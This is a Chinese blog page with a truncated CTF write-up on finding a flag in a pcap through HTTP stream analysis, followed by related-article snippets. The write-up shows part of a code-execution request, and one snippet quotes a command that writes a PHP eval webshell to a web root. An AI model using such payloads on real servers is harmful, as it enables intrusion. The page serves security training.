CTF流量分析1

最新推荐文章于 2025-04-24 10:00:00 发布
最新推荐文章于 2025-04-24 10:00:00 发布
阅读量1k 收藏
点赞数
分类专栏： ctf_web 文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_45766280/article/details/119939767
版权
本文通过对Q3.pcap文件的Wireshark分析，探讨了一道网络安全题目。作者关注到HTTP请求中的目录扫描行为，并发现了两个成功的GET请求。通过追踪HTTP流，发现这些请求涉及base64编码和压缩的内容，最终找到包含'flag'标志的压缩数据。通过解压和解码，揭示了流量中的隐藏信息，展示了基础的流量分析技巧。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

流量分析1


仅作为学习笔记使用

题目：Q3.pcap

题解：

先在wireshark里看一下
在这里插入图片描述
有HTTP先看HTTP，直接在过滤器中选择HTTP
在这里插入图片描述
这些包就有意思了，这些请求有些想目录扫描在不断的请求，而大部分的回应都是404，那么我们暂时推断会有访问成功的，往后面找找吧。
在这里插入图片描述

这两个语句成功通过了，那我们来详细分析分析这两个包。追踪流->HTTP
在这里插入图片描述

GET /?c=print_r(gzcompress(file_get_
最低0.47元/天 解锁文章
流量分析—ctf
m0_53067332的博客
01-10 8766
题目介绍 该题为流量分析，当黑客入侵我们的网络是，我们可以需要通过一系列分析操作来进行抓捕与追踪，本题目难度中等偏下，不是很有难度，但题目类型较为全面，适合入手当做练习。 一、题目背景 某公司内网网络被黑客渗透，简单了解，黑客首先攻击了一台web服务器，破解了后台的账户密码，随之利用破解的账号密码登陆了mail系统，然后获取了vpn的申请方式，然后登陆了vpn，在内网pwn掉了一台打印机，请根据提供的流量包回答下面有关问题 二、关卡列表 1 某公司内网网络被黑客渗透，请分析流量，给出黑客使用的扫描器 2 某
CTF流量分析
Kiber
04-19 721
思路：http.request.method =="POST" && http contains "php"，追踪流，找到variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&aaa=system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbZXNGXSk7Pz4=|base64 -d > /var/www/html/1.php')找j68071301598f写入的内容，且排除前两位再用base64解密，找到frpc.ini文件。
CTF 流量包相关-流量分析(1)
qq_56815564的博客
04-28 1万+
前面的flag不论是直接给你明文，还是有一定的编码，都是比较简单的，像这些十成甚至九成都会是签到题，所以了解一下知道有这种情况就好，重点不再这边另外这里还是给出一下风佬的脚本吧，虽然我感觉用到的几率应该不会很大，如果要用的话，那个破空查flag的工具应该会比较好用，下载的话，风佬的git里面应该有，这里就不给了。
从入门到精通！10 道 CTF 流量分析题实战拆解全记录
最新发布
2301_79455190的博客
04-24 862
某公司内网网络被黑客渗透，简单了解，黑客首先攻击了一台web服务器，破解了后台的账户密码，随之利用破解的账号密码登陆了mail系统，然后获取了vpn的申请方式，然后登陆了vpn，在内网pwn掉了一台打印机，请根据提供的流量包回答下面有关问题。这明显就有问题，如果说一个正常的网站，images下放的是图片，但这里放了一个a.php很让人怀疑是一句话木马，而且啊，在老师的教学中，为了方便起文件直接a.php或者b.php等，所以怀疑这里大概率是有问题了，我们对其中一个进行tcp追踪。
ctf之流量分析
xixixi
08-25 3万+
例题记录 用wireshark打开流量包 找到三次握手之后的http包 User-Agent里面有多个浏览器的名字，并且存在AppleWebkit，所以该攻击者利用了awvs扫描 awvs数据包判断标准：User-Agent里面有多个浏览器且存在AppleWebkit ...
[DDCTF2018]流量分析
qq_48511129的博客
08-29 743
在流量包中搜索 tcp contains “KEY” 追踪tcp流发现 解密后为 接着查看流量包，发现一张png图片。复制 进行解码图片 发现图片是一串字母 ORC在线识别：https://www.onlineocr.net/zh_hant/ 进行图片识别 可能会存在一些错误。自己对照字母看一遍 根据提示套上ssh私钥格式 -----BEGIN RSA PRIVATE KEY----- MIICXAIBAAKBgQDCm6vZmclJrVH1AAyGuCuSSZ8O+mIQiOUQCvN0HYbj815.
网络安全CTF流量分析-入门8-攻击流量行为分析_流量分析cookie的md5(1)
2401_84545016的博客
05-14 551
本人从事网路安全工作12年，曾在2个大厂工作过，安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过，对这个行业了解比较全面。最近遍览了各种网络安全类的文章，内容参差不齐，其中不伐有大佬倾力教学，也有各种不良机构浑水摸鱼，在收到几条私信，发现大家对一套完整的系统的网络安全从学习路线到学习资料，甚至是工具有着不小的需求。最后，我将这部分内容融会贯通成了一套282G的网络安全资料包，所有类目条理清晰，知识点层层递进，需要的小伙伴可以点击下方小卡片领取哦！
网络安全CTF流量分析-入门1-流量分析中的Sql注入
m0_51198141的博客
08-29 1657
一般流量除非是加密或者不常见的协议，否则通常都建议打开导出==>HTTP查看报文大致信息。经过观察，发现是逐个读取尝试试验ASCII码，通过返回包的大小来进行校验。如果不了解Sql注入的可以先去学习一下Sql注入。通过排序后，可以看到是从第一位爆破到第25位。打开数据包观察是HTTP报文为主。这里观察到了Sql流量的特征。获得正确值返回包大小是704。获得错误值返回包大小是720。这里可以根据大小排序。Ascii码转码得到。
CTF之流量分析
shy的博客
06-05 2万+
CTF杂项中存在一种题型——流量分析，主要是给你一个流量包，让你分析获取其中的flag的值。 有5种方式，可以直接查找flag。 1、直接搜索 2、使用notepad++等软件，直接打开流量包，搜索关键字 3、编写python脚本 #encoding:utf-8 #用二进制方式读取文件 file=open("networking.pcap","rb") #读取文件内容 i=file.read() #查找字段 a1=i.find("flag{") a2=i.find("}",a1) #将查
渗透测试CTF-流量分析
保持微笑的博客
11-03 4348
渗透测试CTF-流量分析
ctf之流量分析学习
一大口木的博客
11-13 2750
链接：https://pan.baidu.com/s/1e3ZcfioIOmebbUs-xGRnUA?pwd=9jmc提取码：9jmc前几道比较简单，是经常见、常考到的类型。
misc—web流量（1）
2301_81864699的博客
06-08 1065
ctf的流量分析题细化方向
CTF——流量分析题型整理总结
热门推荐
小锤队长的博客
12-19 5万+
我见过的流量分析类型的题目总结： 一，ping 报文信息 （icmp协议） 二，上传/下载文件（蓝牙obex，http，难:文件的分段上传/下载） 三，sql注入攻击 四，访问特定的加密解密网站（md5，base64） 五，后台扫描+弱密码爆破+菜刀 六，usb流量分析 七，WiFi无线密码破解 八，根据一组流量包了解黑客的具体行为 例题： 一，ping 报文信息 （icm...
【CTF流量分析：从入门到精通】
qq_33295410的博客
02-27 1万+
CTF（Capture The Flag）是一种网络安全竞赛，其中流量分析是一种常见的题型。流量分析就是通过分析网络流量包，提取出有用的信息，如密码、密钥、文件、flag等。流量分析需要掌握一些基本的网络协议知识，以及一些常用的工具和技巧。本文将介绍流量分析的基本概念，常见的题型和解题方法，以及一些实战案例，帮助你从入门到精通流量分析。
网络安全CTF流量分析-基础1-Flask的Session流量解密
m0_51198141的博客
11-27 1443
1.admin用户的密码是多少2.app.config['SECRET_KEY']的值3.flask网站由哪个用户启动4.攻击者写入的内存马的路由名叫什么这道题整体来说包比较小，但是流量的内容全都是加密的，如果对解密不熟练解决起来就会有困难，其中的Flask的Session的解密还是比较有意思。写的不是很好，有问题欢迎师傅们留言指出基础的篇章开始。
CTF中的网络流量分析：工具、技术与实战案例
weixin_65409651的博客
08-26 1928
网络流量分析是一项通过捕获和检查网络数据包来解析网络活动的技术。分析者可以识别网络中的恶意活动、异常行为或数据泄露等问题。网络流量分析在CTF竞赛中常用于重建网络攻击过程、提取敏感数据、识别命令与控制（C2）通信等任务。
『CTF』一次曲折的流量分析，从零基础到精通，收藏这篇就够了！
yy1715713348的博客
02-22 846
你是一名安全防护人员，你发现有人成功入侵了公司的服务器，你查找有关的流量设备，发现了一个流量包文件，你认为它可能包含了一些重要的信息。但是当你打开它时，你发现它被加密了：你觉得这个文件可能被某种奇怪的系统加密过，你想要找出加密算法并解密出文件内容。Wireshark安全套接字层协议；传输层安全协议。SSL/TLS是保护计算机网络通讯安全的一类加密协议，它们在传输层上给原先非安全的应用层协议提供加密保护，如非安全的HTTP协议即可被SSL/TLS保护形成安全的HTTPS协议。使用Wireshark分析。
高级程序员的代码质量应当达到什么水准？从零基础到精通，收藏这篇就够了！
leah126的博客
12-04 1052
那么，在我看来，高级程序员的代码质量应当达到什么要求呢？兼顾时间成本，我认为适中即可。达到如下代码质量要求是可以的：功能的深度正确实现清晰性和可维护性良好的健壮性必要的日志记录核心方法的充分单测大数据量，考虑性能大流量，考虑稳定性适度的通用性适度的可扩展性代码安全性。
ctf流量分析arp
05-30
CTF流量分析ARP是指在网络安全比赛中，通过分析ARP协议的流量来获取关键信息，以便攻击或保护目标系统。ARP协议是用于将IP地址映射到物理地址的协议，通过分析ARP流量可以获得网络拓扑结构、IP地址和MAC地址的对应关系等信息。在CTF比赛中，通过分析ARP流量可以识别出恶意主机、欺骗攻击等安全问题，进而采取相应措施保护系统安全。 相关问题: 1. 什么是ARP协议？ 2. ARP协议有哪些作用？ 3. 如何防止ARP欺骗攻击？ 4. 什么是网络拓扑结构？
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值